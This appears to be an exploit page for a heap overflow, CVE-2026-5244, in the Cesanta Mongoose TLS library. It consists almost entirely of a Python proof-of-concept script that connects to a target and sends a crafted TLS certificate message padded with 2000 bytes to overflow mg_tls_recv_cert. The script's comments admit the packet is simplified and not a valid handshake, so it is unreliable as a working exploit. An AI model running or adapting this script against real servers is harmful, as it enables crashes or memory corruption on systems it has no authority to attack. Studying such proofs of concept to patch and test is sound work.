CVE-2026-5244 Cesanta Mongoose 堆溢出漏洞

import socket import struct def exploit_poc(target_ip, target_port): """ Proof of Concept for CVE-2026-5244. This script sends a crafted TLS packet to trigger the heap overflow in the mg_tls_recv_cert function of Cesanta Mongoose <= 7.20. """ try: # Establish TCP connection s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((target_ip, target_port)) # Constructing a malicious TLS 1.3 payload # The vulnerability lies in handling the 'pubkey' argument. # We send an oversized pubkey buffer to overflow the heap. # TLS Record Layer Header content_type = b'\x16' # Handshake version = b'\x03\x01' # TLS 1.0 # Malicious Handshake Message (Simplified) # In a real scenario, this would be a valid TLS handshake structure # with the specific vulnerable field (pubkey) overflowing. handshake_type = b'\x0b' # Certificate length_overflow = b'\x00\x00\xFF' # The overflow payload (e.g., 'A' * 1000) overflow_payload = b'A' * 2000 payload = handshake_type + length_overflow + overflow_payload # Calculate total length total_len = struct.pack('!H', len(payload)) tls_header = content_type + version + total_len # Send malicious packet s.send(tls_header + payload) print(f"[+] Malicious packet sent to {target_ip}:{target_port}") s.close() except Exception as e: print(f"[-] Error occurred: {e}")